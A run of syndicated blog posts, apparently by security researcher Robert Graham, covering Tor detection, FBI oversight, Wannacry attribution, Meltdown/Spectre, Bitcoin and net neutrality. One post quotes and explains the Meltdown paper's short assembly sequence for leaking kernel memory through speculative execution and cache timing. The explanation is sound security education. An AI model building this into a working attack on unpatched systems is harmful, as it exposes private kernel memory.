As for the subsequent salacious paragraph about “secrecy”, that too is normal. When improving a problem, you don’t want to talk about the details until after you have a fix. But note that this is largely more for PR than anything else. The details on how to detect Tor are available to anybody who looks for them — they just aren’t readily accessible to the layman. For example, Tenable Networks announced the previous month exactly this ability to detect Tor’s traffic, because any techy wanting to would’ve found the secrets how to. Indeed, Teneble’s announcement may have been the impetus for BBG’s request to Tor: “can you fix it so that this new Tenable feature no longer works”.
To be clear, there are zero secret “vulnerability details” here that some secret spy agency could use to detect Tor. They were already known, and in the Teneble product, and within the grasp of any techy who wanted to discover them. A spy agency could just buy Teneble, or copy it, instead of going through this intricate conspiracy.

Conclusion

The issue isn’t a “vulnerability”. Tor traffic is recognizable on the network, and over time, they make it less and less recognizable. Eventually they’ll just piggyback on true HTTPS and convince CloudFlare to host ingress nodes, or something, making it completely undetectable. In the meanwhile, it leaves behind fingerprints, as I showed above.
What we see in the email exchanges is the normal interaction of a donor asking for a feature, not a private “tip off”. It’s likely the donor is the one who tipped off Tor, pointing out Tenable’s product to detect Tor.
Whatever secrets Tor could have tipped off to the “secret spy agency” were no more than what Tenable was already doing in a shipping product.

Update: People are trying to make it look like Voice of America is some sort of intelligence agency. That’s a conspiracy theory. It’s not a member of the American intelligence community. You’d have to come up with a solid reason explaining why the United States is hiding VoA’s membership in the intelligence community, or you’d have to believe that everything in the U.S. government is really just some arm of the C.I.A.

Blame privacy activists for the Memo??

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/02/blame-privacy-activists-for-memo.html

Former FBI agent Asha Rangappa @AshaRangappa_ has a smart post debunking the Nunes Memo, then takes it all back again with an op-ed on the NYTimes blaming us privacy activists. She presents an obviously false narrative that the FBI and FISA courts are above suspicion.

I know from first hand experience the FBI is corrupt. In 2007, they threatened me, trying to get me to cancel a talk that revealed security vulnerabilities in a large corporation’s product. Such abuses occur because there is no transparency and oversight. FBI agents write down our conversation in their little notebooks instead of recording it, so that they can control the narrative of what happened, presenting their version of the converstion (leaving out the threats). In this day and age of recording devices, this is indefensible.

She writes “I know firsthand that it’s difficult to get a FISA warrant“. Yes, the process was difficult for her, an underling, to get a FISA warrant. The process is different when a leader tries to do the same thing.

I know this first hand having casually worked as an outsider with intelligence agencies. I saw two processes in place: one for the flunkies, and one for those above the system. The flunkies constantly complained about how there is too many process in place oppressing them, preventing them from getting their jobs done. The leaders understood the system and how to sidestep those processes.

That’s not to say the Nunes Memo has merit, but it does point out that privacy advocates have a point in wanting more oversight and transparency in such surveillance of American citizens.

Blaming us privacy advocates isn’t the way to go. It’s not going to succeed in tarnishing us, but will push us more into Trump’s camp, causing us to reiterate that we believe the FBI and FISA are corrupt.

The problematic Wannacry North Korea attribution

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/01/the-problematic-wannacry-north-korea.html

Last month, the US government officially “attributed” the Wannacry ransomware worm to North Korea. This attribution has three flaws, which are a good lesson for attribution in general.

It was an accident

The most important fact about Wannacry is that it was an accident. We’ve had 30 years of experience with Internet worms teaching us that worms are always accidents. While launching worms may be intentional, their effects cannot be predicted. While they appear to have targets, like Slammer against South Korea, or Witty against the Pentagon, further analysis shows this was just a random effect that was impossible to predict ahead of time. Only in hindsight are these effects explainable.
We should hold those causing accidents accountable, too, but it’s a different accountability. The U.S. has caused more civilian deaths in its War on Terror than the terrorists caused triggering that war. But we hold these to be morally different: the terrorists targeted the innocent, whereas the U.S. takes great pains to avoid civilian casualties. 
Since we are talking about blaming those responsible for accidents, we also must include the NSA in that mix. The NSA created, then allowed the release of, weaponized exploits. That’s like accidentally dropping a load of unexploded bombs near a village. When those bombs are then used, those having lost the weapons are held guilty along with those using them. Yes, while we should blame the hacker who added ETERNAL BLUE to their ransomware, we should also blame the NSA for losing control of ETERNAL BLUE.

A country and its assets are different

Was it North Korea, or hackers affilliated with North Korea? These aren’t the same.

It’s hard for North Korea to have hackers of its own. It doesn’t have citizens who grow up with computers to pick from. Moreover, an internal hacking corps would create tainted citizens exposed to dangerous outside ideas. Update: Some people have pointed out that Kim Il-sung University in the capital does have some contact with the outside world, with academics granted limited Internet access, so I guess some tainting is allowed. Still, what we know of North Korea hacking efforts largley comes from hackers they employ outside North Korea. It was the Lazurus Group, outside North Korea, that did Wannacry.
Instead, North Korea develops external hacking “assets”, supporting several external hacking groups in China, Japan, and South Korea. This is similar to how intelligence agencies develop human “assets” in foreign countries. While these assets do things for their handlers, they also have normal day jobs, and do many things that are wholly independent and even sometimes against their handler’s interests.
For example, this Muckrock FOIA dump shows how “CIA assets” independently worked for Castro and assassinated a Panamanian president. That they also worked for the CIA does not make the CIA responsible for the Panamanian assassination.
That CIA/intelligence assets work this way is well-known and uncontroversial. The fact that countries use hacker assets like this is the controversial part. These hackers do act independently, yet we refuse to consider this when we want to “attribute” attacks.

Attribution is political

We have far better attribution for the nPetya attacks. It was less accidental (they clearly desired to disrupt Ukraine), and the hackers were much closer to the Russian government (Russian citizens). Yet, the Trump administration isn’t fighting Russia, they are fighting North Korea, so they don’t officially attribute nPetya to Russia, but do attribute Wannacry to North Korea.
Trump is in conflict with North Korea. He is looking for ways to escalate the conflict. Attributing Wannacry helps achieve his political objectives.
That it was blatantly politics is demonstrated by the way it was released to the press. It wasn’t released in the normal way, where the administration can stand behind it, and get challenged on the particulars. Instead, it was pre-released through the normal system of “anonymous government officials” to the NYTimes, and then backed up with op-ed in the Wall Street Journal. The government leaks information like this when it’s weak, not when its strong.

The proper way is to release the evidence upon which the decision was made, so that the public can challenge it. Among the questions the public would ask is whether it they believe it was North Korea’s intention to cause precisely this effect, such as disabling the British NHS. Or, whether it was merely hackers “affiliated” with North Korea, or hackers carrying out North Korea’s orders. We cannot challenge the government this way because the government intentionally holds itself above such accountability.

Conclusion

We believe hacking groups tied to North Korea are responsible for Wannacry. Yet, even if that’s true, we still have three attribution problems. We still don’t know if that was intentional, in pursuit of some political goal, or an accident. We still don’t know if it was at the direction of North Korea, or whether their hacker assets acted independently. We still don’t know if the government has answers to these questions, or whether it’s exploiting this doubt to achieve political support for actions against North Korea.

"Skyfall attack" was attention seeking

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/01/skyfall-attack-was-attention-seeking.html

After the Meltdown/Spectre attacks, somebody created a website promising related “Skyfall/Solace” attacks. They revealed today that it was a “hoax”.

It was a bad hoax. It wasn’t a clever troll, parody, or commentary. It was childish behavior seeking attention.
For all you hate naming of security vulnerabilities, Meltdown/Spectre was important enough to deserve a name. Sure, from an infosec perspective, it was minor, we just patch and move on. But from an operating-system and CPU design perspective, these things where huge.
Page table isolation to fix Meltdown is a fundamental redesign of the operating system. What you learned in college about how Solaris, Windows, Linux, and BSD were designed is now out-of-date. It’s on the same scale of change as address space randomization.
The same is true of Spectre. It changes what capabilities are given to JavaScript (buffers and high resolution timers). It dramatically increases the paranoia we have of running untrusted code from the Internet. We’ve been cleansing JavaScript of things like buffer-overflows and type confusion errors, now we have to cleanse it of branch prediction issues.

Moreover, not only do we need to change software, we need to change the CPU. No, we won’t get rid of branch-prediction and out-of-order execution, but there things that can easily be done to mitigate these attacks. We won’t be recalling the billions of CPUs already shipped, and it will take a year before fixed CPUs appear on the market, but it’s still an important change. That we fix security through such a massive hardware change is by itself worthy of “names”.

Yes, the “naming” of vulnerabilities is annoying. A bunch of vulns named by their creators have disappeared, and we’ve stopped talking about them. On the other hand, we still talk about Heartbleed and Shellshock, because they were damn important. A decade from now, we’ll still be talking about Meltdown/Spectre. Even if they hadn’t been named by their creators, we still would’ve come up with nicknames to talk about them, because CVE numbers are so inconvenient.
Thus, the hoax’s mocking of the naming is invalid. It was largely incoherent rambling from somebody who really doesn’t understand the importance of these vulns, who uses the hoax to promote themselves.

Some notes on Meltdown/Spectre

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/01/some-notes-on-meltdownspectre.html

I thought I’d write up some notes.

You don’t have to worry if you patch. If you download the latest update from Microsoft, Apple, or Linux, then the problem is fixed for you and you don’t have to worry. If you aren’t up to date, then there’s a lot of other nasties out there you should probably also be worrying about. I mention this because while this bug is big in the news, it’s probably not news the average consumer needs to concern themselves with.

This will force a redesign of CPUs and operating systems. While not a big news item for consumers, it’s huge in the geek world. We’ll need to redesign operating systems and how CPUs are made.

Don’t worry about the performance hit. Some, especially avid gamers, are concerned about the claims of “30%” performance reduction when applying the patch. That’s only in some rare cases, so you shouldn’t worry too much about it. As far as I can tell, 3D games aren’t likely to see less than 1% performance degradation. If you imagine your game is suddenly slower after the patch, then something else broke it.

This wasn’t foreseeable. A common cliche is that such bugs happen because people don’t take security seriously, or that they are taking “shortcuts”. That’s not the case here. Speculative execution and timing issues with caches are inherent issues with CPU hardware. “Fixing” this would make CPUs run ten times slower. Thus, while we can tweek hardware going forward, the larger change will be in software.

There’s no good way to disclose this. The cybersecurity industry has a process for coordinating the release of such bugs, which appears to have broken down. In truth, it didn’t. Once Linus announced a security patch that would degrade performance of the Linux kernel, we knew the coming bug was going to be Big. Looking at the Linux patch, tracking backwards to the bug was only a matter of time. Hence, the release of this information was a bit sooner than some wanted. This is to be expected, and is nothing to be upset about.

It helps to have a name. Many are offended by the crassness of naming vulnerabilities and giving them logos. On the other hand, we are going to be talking about these bugs for the next decade. Having a recognizable name, rather than a hard-to-remember number, is useful.

Should I stop buying Intel? Intel has the worst of the bugs here. On the other hand, ARM and AMD alternatives have their own problems. Many want to deploy ARM servers in their data centers, but these are likely to expose bugs you don’t see on x86 servers. The software fix, “page table isolation”, seems to work, so there might not be anything to worry about. On the other hand, holding up purchases because of “fear” of this bug is a good way to squeeze price reductions out of your vendor. Conversely, later generation CPUs, “Haswell” and even “Skylake” seem to have the least performance degradation, so it might be time to upgrade older servers to newer processors.

Intel misleads. Intel has a press release that implies they are not impacted any worse than others. This is wrong: the “Meltdown” issue appears to apply only to Intel CPUs. I don’t like such marketing crap, so I mention it.


Statements from companies:

Why Meltdown exists

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/01/why-meltdown-exists.html

So I thought I’d answer this question. I’m not a “chipmaker”, but I’ve been optimizing low-level assembly x86 assembly language for a couple of decades.

The tl;dr version is this: the CPUs have no bug. The results are correct, it’s just that the timing is different. CPU designers will never fix the general problem of undetermined timing.
CPUs are deterministic in the results they produce. If you add 5+6, you always get 11 — always. On the other hand, the amount of time they take is non-deterministic. Run a benchmark on your computer. Now run it again. The amount of time it took varies, for a lot of reasons.
That CPUs take an unknown amount of time is an inherent problem in CPU design. Even if you do everything right, “interrupts” from clock timers and network cards will still cause undefined timing problems. Therefore, CPU designers have thrown the concept of “deterministic time” out the window.
The biggest source of non-deterministic behavior is the high-speed memory cache on the chip. When a piece of data is in the cache, the CPU accesses it immediately. When it isn’t, the CPU has to stop and wait for slow main memory. Other things happening in the system impacts the cache, unexpectedly evicting recently used data for one purpose in favor of data for another purpose.
Hackers love “non-deterministic”, because while such things are unknowable in theory, they are often knowable in practice.
That’s the case of the granddaddy of all hacker exploits, the “buffer overflow”. From the programmer’s perspective, the bug will result in just the software crashing for undefinable reasons. From the hacker’s perspective, they reverse engineer what’s going on underneath, then carefully craft buffer contents so the program doesn’t crash, but instead continue to run the code the hacker supplies within the buffer. Buffer overflows are undefined in theory, well-defined in practice.
Hackers have already been exploiting this defineable/undefinable timing problems with the cache for a long time. An example is cache timing attacks on AES. AES reads a matrix from memory as it encrypts things. By playing with the cache, evicting things, timing things, you can figure out the pattern of memory accesses, and hence the secret key.
Such cache timing attacks have been around since the beginning, really, and it’s simply an unsolvable problem. Instead, we have workarounds, such as changing our crypto algorithms to not depend upon cache, or better yet, implement them directly in the CPU (such as the Intel AES specialized instructions).
What’s happened today with Meltdown is that incompletely executed instructions, which discard their results, do affect the cache. We can then recover those partial/temporary/discarded results by measuring the cache timing. This has been known for a while, but we couldn’t figure out how to successfully exploit this, as this paper from Anders Fogh reports. Hackers fixed this, making it practically exploitable.
As a CPU designer, Intel has few good options.
Fixing cache timing attacks is an impossibility. They can do some tricks, such as allowing some software to reserve part of the cache for private use, for special crypto operations, but the general problem is unsolvable.
Fixing the “incomplete results” problem from affecting the cache is also difficult. Intel has the fastest CPUs, and the reason is such speculative execution. The other CPU designers have the same problem: fixing the three problems identified today would cause massive performance issues. They’ll come up with improvements, probably, but not complete solutions.
Instead, the fix is within the operating system. Frankly, it’s a needed change that should’ve been done a decade ago. They’ve just been putting it off because of the performance hit. Now that the change has been forced to happen, CPU designers will probably figure out ways to mitigate the performance cost.
Thus, the Intel CPU you buy a year from now will have some partial fixes for these exactly problems without addressing the larger security concerns. They will also have performance enhancements to make the operating system patches faster.
But the underlying theoretical problem will never be solved, and is essentially unsolvable.

Let’s see if I’ve got Metldown right

Post Syndicated from Robert Graham original http://blog.erratasec.com/2018/01/lets-see-if-ive-got-metldown-right.html

I thought I’d write down the proof-of-concept to see if I got it right.

So the Meltdown paper lists the following steps:

 ; flush cache
 ; rcx = kernel address
 ; rbx = probe array
 retry:
 mov al, byte [rcx]
 shl rax, 0xc
 jz retry
 mov rbx, qword [rbx + rax]
 ; measure which of 256 cachelines were accessed

So the first step is to flush the cache, so that none of the 256 possible cache lines in our “probe array” are in the cache. There are many ways this can be done.

Now pick a byte of secret kernel memory to read. Presumably, we’ll just read all of memory, one byte at a time. The address of this byte is in rcx.

Now execute the instruction:
    mov al, byte [rcx]
This line of code will crash (raise an exception). That’s because [rcx] points to secret kernel memory which we don’t have permission to read. The value of the real al (the low-order byte of rax) will never actually change.

But fear not! Intel is massively out-of-order. That means before the exception happens, it will provisionally and partially execute the following instructions. While Intel has only 16 visible registers, it actually has 100 real registers. It’ll stick the result in a pseudo-rax register. Only at the end of the long execution change, if nothing bad happen, will pseudo-rax register become the visible rax register.

But in the meantime, we can continue (with speculative execution) operate on pseudo-rax. Right now it contains a byte, so we need to make it bigger so that instead of referencing which byte it can now reference which cache-line. (This instruction multiplies by 4096 instead of just 64, to prevent the prefetcher from loading multiple adjacent cache-lines).
 shl rax, 0xc

Now we use pseudo-rax to provisionally load the indicated bytes.
 mov rbx, qword [rbx + rax]

Since we already crashed up top on the first instruction, these results will never be committed to rax and rbx. However, the cache will change. Intel will have provisionally loaded that cache-line into memory.

At this point, it’s simply a matter of stepping through all 256 cache-lines in order to find the one that’s fast (already in the cache) where all the others are slow.

Bitcoin: In Crypto We Trust

Post Syndicated from Robert Graham original http://blog.erratasec.com/2017/12/bitcoin-in-crypto-we-trust.html

Tim Wu, who coined “net neutrality”, has written an op-ed on the New York Times called “The Bitcoin Boom: In Code We Trust“. He is wrong about “code”.

The wrong “trust”

Wu builds a big manifesto about how real-world institutions can’t be trusted. Certainly, this reflects the rhetoric from a vocal wing of Bitcoin fanatics, but it’s not the Bitcoin manifesto.

Instead, the word “trust” in the Bitcoin paper is much narrower, referring to how online merchants can’t trust credit-cards (for example). When I bought school supplies for my niece when she studied in Canada, the online site wouldn’t accept my U.S. credit card. They didn’t trust my credit card. However, they trusted my Bitcoin, so I used that payment method instead, and succeeded in the purchase.

Real-world currencies like dollars are tethered to the real-world, which means no single transaction can be trusted, because “they” (the credit-card company, the courts, etc.) may decide to reverse the transaction. The manifesto behind Bitcoin is that a transaction cannot be reversed — and thus, can always be trusted.

Deliberately confusing the micro-trust in a transaction and macro-trust in banks and governments is a sort of bait-and-switch.

The wrong inspiration

Wu claims:

“It was, after all, a carnival of human errors and misfeasance that inspired the invention of Bitcoin in 2009, namely, the financial crisis.”

Not true. Bitcoin did not appear fully formed out of the void, but was instead based upon a series of innovations that predate the financial crisis by a decade. Moreover, the financial crisis had little to do with “currency”. The value of the dollar and other major currencies were essentially unscathed by the crisis. Certainly, enthusiasts looking backward like to cherry pick the financial crisis as yet one more reason why the offline world sucks, but it had little to do with Bitcoin.

In crypto we trust

It’s not in code that Bitcoin trusts, but in crypto. Satoshi makes that clear in one of his posts on the subject:

A generation ago, multi-user time-sharing computer systems had a similar problem. Before strong encryption, users had to rely on password protection to secure their files, placing trust in the system administrator to keep their information private. Privacy could always be overridden by the admin based on his judgment call weighing the principle of privacy against other concerns, or at the behest of his superiors. Then strong encryption became available to the masses, and trust was no longer required. Data could be secured in a way that was physically impossible for others to access, no matter for what reason, no matter how good the excuse, no matter what.

You don’t possess Bitcoins. Instead, all the coins are on the public blockchain under your “address”. What you possess is the secret, private key that matches the address. Transferring Bitcoin means using your private key to unlock your coins and transfer them to another. If you print out your private key on paper, and delete it from the computer, it can never be hacked.

Trust is in this crypto operation. Trust is in your private crypto key.

We don’t trust the code

The manifesto “in code we trust” has been proven wrong again and again. We don’t trust computer code (software) in the cryptocurrency world.

The most profound example is something known as the “DAO” on top of Ethereum, Bitcoin’s major competitor. Ethereum allows “smart contracts” containing code. The quasi-religious manifesto of the DAO smart-contract is that the “code is the contract”, that all the terms and conditions are specified within the smart-contract code, completely untethered from real-world terms-and-conditions.

Then a hacker found a bug in the DAO smart-contract and stole most of the money.

In principle, this is perfectly legal, because “the code is the contract”, and the hacker just used the code. In practice, the system didn’t live up to this. The Ethereum core developers, acting as central bankers, rewrote the Ethereum code to fix this one contract, returning the money back to its original owners. They did this because those core developers were themselves heavily invested in the DAO and got their money back.

Similar things happen with the original Bitcoin code. A disagreement has arisen about how to expand Bitcoin to handle more transactions. One group wants smaller and “off-chain” transactions. Another group wants a “large blocksize”. This caused a “fork” in Bitcoin with two versions, “Bitcoin” and “Bitcoin Cash”. The fork championed by the core developers (central bankers) is worth around $20,000 right now, while the other fork is worth around $2,000.

So it’s still “in central bankers we trust”, it’s just that now these central bankers are mostly online instead of offline institutions. They have proven to be even more corrupt than real-world central bankers. It’s certainly not the code that is trusted.

The bubble

Wu repeats the well-known reference to Amazon during the dot-com bubble. If you bought Amazon’s stock for $107 right before the dot-com crash, it still would be one of wisest investments you could’ve made. Amazon shares are now worth around $1,200 each.

The implication is that Bitcoin, too, may have such long term value. Even if you buy it today and it crashes tomorrow, it may still be worth ten-times its current value in another decade or two.

This is a poor analogy, for three reasons.

The first reason is that we knew the Internet had fundamentally transformed commerce. We knew there were going to be winners in the long run, it was just a matter of picking who would win (Amazon) and who would lose (Pets.com). We have yet to prove Bitcoin will be similarly transformative.

The second reason is that businesses are real, they generate real income. While the stock price may include some irrational exuberance, it’s ultimately still based on the rational expectations of how much the business will earn. With Bitcoin, it’s almost entirely irrational exuberance — there are no long term returns.

The third flaw in the analogy is that there are an essentially infinite number of cryptocurrencies. We saw this today as Coinbase started trading Bitcoin Cash, a fork of Bitcoin. The two are nearly identical, so there’s little reason one should be so much valuable than another. It’s only a fickle fad that makes one more valuable than another, not business fundamentals. The successful future cryptocurrency is unlikely to exist today, but will be invented in the future.

The lessons of the dot-com bubble is not that Bitcoin will have long term value, but that cryptocurrency companies like Coinbase and BitPay will have long term value. Or, the lesson is that “old” companies like JPMorgan that are early adopters of the technology will grow faster than their competitors.

Conclusion

The point of Wu’s paper is to distinguish trust in traditional real-world institutions and trust in computer software code. This is an inaccurate reading of the situation.

Bitcoin is not about replacing real-world institutions but about untethering online transactions.

The trust in Bitcoin is in crypto — the power crypto gives individuals instead of third-parties.

The trust is not in the code. Bitcoin is a “cryptocurrency” not a “codecurrency”.

Libertarians are against net neutrality

Post Syndicated from Robert Graham original http://blog.erratasec.com/2017/12/libertarians-are-against-net-neutrality.html

This post claims to be by a libertarian in support of net neutrality. As a libertarian, I need to debunk this. “Net neutrality” is a case of one-hand clapping, you rarely hear the competing side, and thus, that side may sound attractive. This post is about the other side, from a libertarian point of view.

That post just repeats the common, and wrong, left-wing talking points. I mean, there might be a libertarian case for some broadband regulation, but this isn’t it.

This thing they call “net neutrality” is just left-wing politics masquerading as some sort of principle. It’s no different than how people claim to be “pro-choice”, yet demand forced vaccinations. Or, it’s no different than how people claim to believe in “traditional marriage” even while they are on their third “traditional marriage”.

Properly defined, “net neutrality” means no discrimination of network traffic. But nobody wants that. A classic example is how most internet connections have faster download speeds than uploads. This discriminates against upload traffic, harming innovation in upload-centric applications like DropBox’s cloud backup or BitTorrent’s peer-to-peer file transfer. Yet activists never mention this, or other types of network traffic discrimination, because they no more care about “net neutrality” than Trump or Gingrich care about “traditional marriage”.

Instead, when people say “net neutrality”, they mean “government regulation”. It’s the same old debate between who is the best steward of consumer interest: the free-market or government.

Specifically, in the current debate, they are referring to the Obama-era FCC “Open Internet” order and reclassification of broadband under “Title II” so they can regulate it. Trump’s FCC is putting broadband back to “Title I”, which means the FCC can’t regulate most of its “Open Internet” order.

Don’t be tricked into thinking the “Open Internet” order is anything but intensely politically. The premise behind the order is the Democrat’s firm believe that it’s government who created the Internet, and all innovation, advances, and investment ultimately come from the government. It sees ISPs as inherently deceitful entities who will only serve their own interests, at the expense of consumers, unless the FCC protects consumers.

It says so right in the order itself. It starts with the premise that broadband ISPs are evil, using illegitimate “tactics” to hurt consumers, and continues with similar language throughout the order.

A good contrast to this can be seen in Tim Wu’s non-political original paper in 2003 that coined the term “net neutrality”. Whereas the FCC sees broadband ISPs as enemies of consumers, Wu saw them as allies. His concern was not that ISPs would do evil things, but that they would do stupid things, such as favoring short-term interests over long-term innovation (such as having faster downloads than uploads).

The political depravity of the FCC’s order can be seen in this comment from one of the commissioners who voted for those rules:

FCC Commissioner Jessica Rosenworcel wants to increase the minimum broadband standards far past the new 25Mbps download threshold, up to 100Mbps. “We invented the internet. We can do audacious things if we set big goals, and I think our new threshold, frankly, should be 100Mbps. I think anything short of that shortchanges our children, our future, and our new digital economy,” Commissioner Rosenworcel said.

This is indistinguishable from communist rhetoric that credits the Party for everything, as this booklet from North Korea will explain to you.

But what about monopolies? After all, while the free-market may work when there’s competition, it breaks down where there are fewer competitors, oligopolies, and monopolies.

There is some truth to this, in individual cities, there’s often only only a single credible high-speed broadband provider. But this isn’t the issue at stake here. The FCC isn’t proposing light-handed regulation to keep monopolies in check, but heavy-handed regulation that regulates every last decision.

Advocates of FCC regulation keep pointing how broadband monopolies can exploit their renting-seeking positions in order to screw the customer. They keep coming up with ever more bizarre and unlikely scenarios what monopoly power grants the ISPs.

But the never mention the most simplest: that broadband monopolies can just charge customers more money. They imagine instead that these companies will pursue a string of outrageous, evil, and less profitable behaviors to exploit their monopoly position.

The FCC’s reclassification of broadband under Title II gives it full power to regulate ISPs as utilities, including setting prices. The FCC has stepped back from this, promising it won’t go so far as to set prices, that it’s only regulating these evil conspiracy theories. This is kind of bizarre: either broadband ISPs are evilly exploiting their monopoly power or they aren’t. Why stop at regulating only half the evil?

The answer is that the claim “monopoly” power is a deception. It starts with overstating how many monopolies there are to begin with. When it issued its 2015 “Open Internet” order the FCC simultaneously redefined what they meant by “broadband”, upping the speed from 5-mbps to 25-mbps. That’s because while most consumers have multiple choices at 5-mbps, fewer consumers have multiple choices at 25-mbps. It’s a dirty political trick to convince you there is more of a problem than there is.

In any case, their rules still apply to the slower broadband providers, and equally apply to the mobile (cell phone) providers. The US has four mobile phone providers (AT&T, Verizon, T-Mobile, and Sprint) and plenty of competition between them. That it’s monopolistic power that the FCC cares about here is a lie. As their Open Internet order clearly shows, the fundamental principle that animates the document is that all corporations, monopolies or not, are treacherous and must be regulated.

“But corporations are indeed evil”, people argue, “see here’s a list of evil things they have done in the past!”

No, those things weren’t evil. They were done because they benefited the customers, not as some sort of secret rent seeking behavior.

For example, one of the more common “net neutrality abuses” that people mention is AT&T’s blocking of FaceTime. I’ve debunked this elsewhere on this blog, but the summary is this: there was no network blocking involved (not a “net neutrality” issue), and the FCC analyzed it and decided it was in the best interests of the consumer. It’s disingenuous to claim it’s an evil that justifies FCC actions when the FCC itself declared it not evil and took no action. It’s disingenuous to cite the “net neutrality” principle that all network traffic must be treated when, in fact, the network did treat all the traffic equally.

Another frequently cited abuse is Comcast’s throttling of BitTorrent.Comcast did this because Netflix users were complaining. Like all streaming video, Netflix backs off to slower speed (and poorer quality) when it experiences congestion. BitTorrent, uniquely among applications, never backs off. As most applications become slower and slower, BitTorrent just speeds up, consuming all available bandwidth. This is especially problematic when there’s limited upload bandwidth available. Thus, Comcast throttled BitTorrent during prime time TV viewing hours when the network was already overloaded by Netflix and other streams. BitTorrent users wouldn’t mind this throttling, because it often took days to download a big file anyway.

When the FCC took action, Comcast stopped the throttling and imposed bandwidth caps instead. This was a worse solution for everyone. It penalized heavy Netflix viewers, and prevented BitTorrent users from large downloads. Even though BitTorrent users were seen as the victims of this throttling, they’d vastly prefer the throttling over the bandwidth caps.

In both the FaceTime and BitTorrent cases, the issue was “network management”. AT&T had no competing video calling service, Comcast had no competing download service. They were only reacting to the fact their networks were overloaded, and did appropriate things to solve the problem.

Mobile carriers still struggle with the “network management” issue. While their networks are fast, they are still of low capacity, and quickly degrade under heavy use. They are looking for tricks in order to reduce usage while giving consumers maximum utility.

The biggest concern is video. It’s problematic because it’s designed to consume as much bandwidth as it can, throttling itself only when it experiences congestion. This is what you probably want when watching Netflix at the highest possible quality, but it’s bad when confronted with mobile bandwidth caps.

With small mobile devices, you don’t want as much quality anyway. You want the video degraded to lower quality, and lower bandwidth, all the time.

That’s the reasoning behind T-Mobile’s offerings. They offer an unlimited video plan in conjunction with the biggest video providers (Netflix, YouTube, etc.). The catch is that when congestion occurs, they’ll throttle it to lower quality. In other words, they give their bandwidth to all the other phones in your area first, then give you as much of the leftover bandwidth as you want for video.

While it sounds like T-Mobile is doing something evil, “zero-rating” certain video providers and degrading video quality, the FCC allows this, because they recognize it’s in the customer interest.

Mobile providers especially have great interest in more innovation in this area, in order to conserve precious bandwidth, but they are finding it costly. They can’t just innovate, but must ask the FCC permission first. And with the new heavy handed FCC rules, they’ve become hostile to this innovation. This attitude is highlighted by the statement from the “Open Internet” order:

And consumers must be protected, for example from mobile commercial practices masquerading as “reasonable network management.”

This is a clear declaration that free-market doesn’t work and won’t correct abuses, and that that mobile companies are treacherous and will do evil things without FCC oversight.

Conclusion

Ignoring the rhetoric for the moment, the debate comes down to simple left-wing authoritarianism and libertarian principles. The Obama administration created a regulatory regime under clear Democrat principles, and the Trump administration is rolling it back to more free-market principles. There is no principle at stake here, certainly nothing to do with a technical definition of “net neutrality”.

The 2015 “Open Internet” order is not about “treating network traffic neutrally”, because it doesn’t do that. Instead, it’s purely a left-wing document that claims corporations cannot be trusted, must be regulated, and that innovation and prosperity comes from the regulators and not the free market.

It’s not about monopolistic power. The primary targets of regulation are the mobile broadband providers, where there is plenty of competition, and who have the most “network management” issues. Even if it were just about wired broadband (like Comcast), it’s still ignoring the primary ways monopolies profit (raising prices) and instead focuses on bizarre and unlikely ways of rent seeking.

If you are a libertarian who nonetheless believes in this “net neutrality” slogan, you’ve got to do better than mindlessly repeating the arguments of the left-wing. The term itself, “net neutrality”, is just a slogan, varying from person to person, from moment to moment. You have to be more specific. If you truly believe in the “net neutrality” technical principle that all traffic should be treated equally, then you’ll want a rewrite of the “Open Internet” order.

In the end, while libertarians may still support some form of broadband regulation, it’s impossible to reconcile libertarianism with the 2015 “Open Internet”, or the vague things people mean by the slogan “net neutrality”.

A Thanksgiving Carol: How Those Smart Engineers at Twitter Screwed Me

Post Syndicated from Robert Graham original http://blog.erratasec.com/2017/11/a-thanksgiving-carol-how-those-smart.html

Thanksgiving Holiday is a time for family and cheer. Well, a time for family. It’s the holiday where we ask our doctor relatives to look at that weird skin growth, and for our geek relatives to fix our computers. This tale is of such computer support, and how the “smart” engineers at Twitter have ruined this for life.

My mom is smart, but not a good computer user. I get my enthusiasm for science and math from my mother, and she has no problem understanding the science of computers. She keeps up when I explain Bitcoin. But she has difficulty using computers. She has this emotional, irrational belief that computers are out to get her.

This makes helping her difficult. Every problem is described in terms of what the computer did to her, not what she did to her computer. It’s the computer that needs to be fixed, instead of the user. When I showed her the “haveibeenpwned.com” website (part of my tips for securing computers), it showed her Tumblr password had been hacked. She swore she never created a Tumblr account — that somebody or something must have done it for her. Except, I was there five years ago and watched her create it.

Another example is how GMail is deleting her emails for no reason, corrupting them, and changing the spelling of her words. She emails the way an impatient teenager texts — all of us in the family know the misspellings are not GMail’s fault. But I can’t help her with this because she keeps her GMail inbox clean, deleting all her messages, leaving no evidence behind. She has only a vague description of the problem that I can’t make sense of.

This last March, I tried something to resolve this. I configured her GMail to send a copy of all incoming messages to a new, duplicate account on my own email server. With evidence in hand, I would then be able solve what’s going on with her GMail. I’d be able to show her which steps she took, which buttons she clicked on, and what caused the weirdness she’s seeing.

Today, while the family was in a state of turkey-induced torpor, my mom brought up a problem with Twitter. She doesn’t use Twitter, she doesn’t have an account, but they keep sending tweets to her phone, about topics like Denzel Washington. And she said something about “peaches” I didn’t understand.

This is how the problem descriptions always start, chaotic, with mutually exclusive possibilities. If you don’t use Twitter, you don’t have the Twitter app installed, so how are you getting Tweets? Over much gnashing of teeth, it comes out that she’s getting emails from Twitter, not tweets, about Denzel Washington — to someone named “Peaches Graham”. Naturally, she can only describe these emails, because she’s already deleted them.

“Ah ha!”, I think. I’ve got the evidence! I’ll just log onto my duplicate email server, and grab the copies to prove to her it was something she did.

I find she is indeed receiving such emails, called “Moments”, about topics trending on Twitter. They are signed with “DKIM”, proving they are legitimate rather than from a hacker or spammer. The only way that can happen is if my mother signed up for Twitter, despite her protestations that she didn’t.

I look further back and find that there were also confirmation messages involved. Back in August, she got a typical Twitter account signup message. I am now seeing a little bit more of the story unfold with this “Peaches Graham” name on the account. It wasn’t my mother who initially signed up for Twitter, but Peaches, who misspelled the email address. It’s one of the reasons why the confirmation process exists, to make sure you spelled your email address correctly.

It’s now obvious my mom accidentally clicked on the [Confirm] button. I don’t have any proof she did, but it’s the only reasonable explanation. Otherwise, she wouldn’t have gotten the “Moments” messages. My mom disputed this, emphatically insisting she never clicked on the emails.

It’s at this point that I made a great mistake, saying:

“This sort of thing just doesn’t happen. Twitter has very smart engineers. What’s the chance they made the mistake here, or…”.

